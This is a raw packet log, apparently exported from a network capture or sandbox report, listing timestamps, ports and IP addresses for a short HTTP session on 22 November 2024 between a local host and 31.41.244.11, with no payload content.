Nov 22, 2024 04:12:09.748212099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.756463051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.756499052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.756557941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.764830112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.764940977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.765008926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.771161079 CET	80	49724	199.232.210.172	192.168.2.4
Nov 22, 2024 04:12:09.773214102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.773298979 CET	49724	80	192.168.2.4	199.232.210.172
Nov 22, 2024 04:12:09.773310900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.773313999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.773363113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.781721115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.781775951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.781841993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.789987087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.790088892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.790167093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.798403025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.798497915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.798582077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.806478024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.806591988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.806677103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.814519882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.814624071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.814702034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.852289915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.852432966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.933746099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.933789968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.933814049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.933866978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.936079025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.936141014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.936189890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.936248064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.941135883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.941190958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.941271067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.941323042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.946111917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.946185112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.946232080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.946286917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.950943947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.951005936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.951059103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.951114893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.955826044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.955883026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.955940962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.955997944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.960640907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.960699081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.960776091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.960832119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.965466022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.965527058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.965589046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.965643883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.970314980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.970386982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.970417023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.970480919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.975131035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.975202084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.975254059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.975307941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.980001926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.980112076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.980113029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.980168104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.984795094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.984855890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.984894991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.984950066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.988611937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.988668919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.988719940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.988775015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.992440939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.992542982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.992543936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.992597103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.996248960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.996306896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:09.996341944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:09.996397018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.000030994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.000087976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.000088930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.000144958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.003892899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.003993988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.003999949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.004053116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.007680893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.007739067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.007802010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.007853985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.011482000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.011538029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.011600971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.011656046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.015353918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.015453100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.015463114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.015515089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.019074917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.019134998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.019205093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.019259930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.022900105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.022955894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.023022890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.023076057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.053870916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.053910017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.054111958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.055280924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.055444956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.134896040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.134984016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.135029078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.135087967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.136306047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.136369944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.136439085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.136502028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.139229059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.139367104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.139379025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.139447927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.142201900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.142271042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.142304897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.142359018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.145025015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.145092964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.145169973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.145236015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.147813082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.147881985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.147958994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.148015976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.150650978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.150707006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.150716066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.150754929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.153290033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.153366089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.153434038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.153506994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.156002998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.156065941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.156167030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.156225920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.158746958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.158799887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.158802986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.158853054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.161504984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.161575079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.161582947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.161636114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.164205074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.164268970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.164290905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.164347887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.166899920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.166965008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.167054892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.167109966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.169642925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.169753075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.169779062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.169843912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.172370911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.172435045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.172436953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.172480106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.175030947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.175088882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.175148010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.175204992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.177736044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.177803040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.177871943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.177942038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.180483103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.180579901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.180593967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.180634975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.182322025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.182382107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.182471991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.182528019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.184160948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.184211969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.184289932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.184345961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.186028957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.186084032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.186147928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.186203003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.187871933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.187927961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.187985897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.188043118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.189723969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.189779043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.189841986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.189894915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.191580057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.191687107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.191698074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.191751957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.193486929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.193541050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.193543911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.193593979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.195287943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.195353985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.195422888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.195477009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.197140932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.197200060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.197272062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.197326899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.199004889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.199068069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.199137926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.199198008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.200844049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.200900078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.200985909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.201041937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.202713013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.202807903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.202837944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.202881098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.204602957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.204669952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.204685926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.204741955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.206403971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.206461906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.206536055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.206589937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.208262920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.208323002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.208396912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.208455086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.210127115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.210196018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.210247040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.210305929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.211946011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.212003946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.336081982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.336270094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.336304903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.336338043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.336816072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.336874008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.336949110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.337001085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.338392973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.338448048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.338515997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.338572025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.340023041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.340080023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.340105057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.340161085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.341568947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.341623068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.341687918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.341742992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.343172073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.343242884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.343298912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.343358994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.344762087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.344816923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.344880104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.344934940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.346330881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.346436977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.346455097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.346508026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.347915888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.347968102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.348045111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.348100901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.349507093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.349561930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.349636078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.349703074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.351141930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.351196051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.351201057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.351249933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.352700949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.352757931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.352832079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.352889061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.354300022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.354353905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.354441881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.354496956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.355880022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.355933905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.355988026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.356041908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.357470036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.357585907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.357589006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.357637882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.359044075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.359098911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.359163046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.359219074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.360646963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.360697985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.360821009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.360874891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.362226963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.362282038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.362359047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.362415075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.363822937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.363878012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.363950014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.364011049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.365395069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:10.365451097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:10.365518093 CET	80	49760	31.41.244.11	192.168.2.4
